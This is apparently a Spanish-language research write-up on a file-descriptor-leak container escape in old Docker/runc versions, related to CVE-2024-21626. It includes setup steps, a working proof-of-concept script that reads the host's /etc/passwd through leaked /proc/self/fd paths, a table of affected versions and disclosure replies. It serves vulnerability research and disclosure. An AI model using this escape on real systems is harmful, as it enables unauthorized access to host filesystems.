
Analiza y explota una vulnerabilidad de escape de contenedor en versiones antiguas de Docker/runc, demostrando la fuga de fd para acceder al sistema de archivos del host, con scripts de configuración y prueba.
Durante mi análisis sobre CVE-2024-21626 encontré que otros componentes antiguos de Docker son vulnerables a fuga de fd (que no se menciona en el aviso de seguridad GHSA-xr7r-f8xq-vfvv). Lea mi artículo completo para una explicación detallada aquí.
Durante la instalación, no marque la casilla de descargar actualizaciones del sistema.
Vaya a https://download.docker.com/linux/static/stable/x86_64/ y descargue la versión antigua docker-X.Y.Z-ce.tgz para probar
Extráigalo, copie el contenido a la ruta /usr/bin y ejecute el demonio de Docker.
cd Downloads/
tar xzvf <docker-X.Y.Z-ce.tgz>
sudo cp docker/* /usr/bin/
sudo dockerd &
sudo docker version
containerd --version
uname -r
En versiones antiguas tenemos docker-runc en lugar de runc. Por lo tanto, verifíquelo:
ls -la /usr/bin | grep docker
-rwxr-xr-x 1 root root 14128576 mar 19 10:54 docker
-rwxr-xr-x 1 root root 8932648 mar 19 10:54 docker-containerd
-rwxr-xr-x 1 root root 8381448 mar 19 10:54 docker-containerd-ctr
-rwxr-xr-x 1 root root 3047368 mar 19 10:54 docker-containerd-shim
-rwxr-xr-x 1 root root 39989264 mar 19 10:54 dockerd
-rwxr-xr-x 1 root root 772400 mar 19 10:54 docker-init
-rwxr-xr-x 1 root root 2534781 mar 19 10:54 docker-proxy
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
ls -la /usr/bin| grep runc
-rwxr-xr-x 1 root root 10232 mar 18 2018 bdftruncate
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
-rwxr-xr-x 1 root root 35000 gen 18 2018 runcon
-rwxr-xr-x 1 root root 39096 gen 18 2018 truncate
Verifique la versión de docker-runc/runc
runc --version
docker-runc -v
Ejecute checkVulnerability.sh y vea si el archivo se imprime en la terminal
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
echo ""
done
# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git
# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh
Para este ejemplo, usé la versión docker-17.03.1-ce.

Para este ejemplo, usé la versión docker-17.03.1-ce.

A continuación se muestran los resultados de mi análisis, organizados por versión de Docker y la versión de runc asociada utilizada.
| Versión de Docker | Versión de runc | Número de fd filtrado |
|---|---|---|
| docker-18.09.0.tgz | 1.0.0-rc5+dev | ❌ |
Aquí está la captura de pantalla que muestra las tres versiones vulnerables diferentes.
| 1.0.0-rc2 | 1.0.0-rc3 | 1.0.0-rc4+dev |
|---|---|---|
![]() | ![]() | ![]() |
Al igual que con CVE-2024-21626, los diferentes tipos de ataques siguen siendo posibles.
Esta vulnerabilidad es bastante diferente de CVE-2024-21626 porque:
openat2./run/runc/<container>/, que contiene el estado de los contenedores en ejecución, en lugar del directorio /sys/fs/cgroup del host.Lo que descubrí es que las versiones antiguas también son vulnerables a la misma técnica de ataque. Aunque la vulnerabilidad en sí difiere, el resultado es el mismo: obtener acceso al sistema de archivos del host. La conclusión clave es no confiar únicamente en los avisos de seguridad: pruebe todo a fondo. Comprenda completamente el CVE, cómo funciona, experimente con él en un entorno seguro y explore casos límite.
Intenté contactar a [email protected], [email protected] y tratar de abrir un CVE. Recibí las siguientes respuestas:
| Versión de Docker | Versión de docker-runc | Número de fd filtrado |
|---|
| docker-17.03.1-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.03.2-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.06.0-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.1-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.2-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.09.0-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.09.1-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.12.0-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-17.12.1-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-18.03.0-ce.tgz | ❌ | |
| docker-18.06.3-ce.tgz | 1.0.0-rc5+dev | ❌ |
| Solicitud | Respuesta |
|---|
| [email protected] (19/03/24) | Las versiones que enumeró son todas versiones EOL del software (~7 años de antigüedad) y ya no reciben parches ni mantenimiento por parte de Docker. Si tiene inquietudes sobre las versiones o el texto enumerado en el aviso existente GHSA-xr7r-f8xq-vfvv ("versiones afectadas: >= 1.0.0-rc93, <= 1.1.11"), entonces el canal correcto para informarlo debe ser el buzón de seguridad de OCI: https://github.com/opencontainers/.github/blob/main/SECURITY.md. Gracias por comunicarse. Avísenos si hay algo más que podamos hacer. |
| [email protected] (20/03/24) | sin respuesta |
| CVE-MITRE (15/05/2024) | Normalmente no asignamos ID de CVE a problemas que existen solo en versiones candidatas. https://www.cve.org/CVERecord?id=CVE-2024-21626 afectó versiones lanzadas de runc, como la versión 1.1.11. |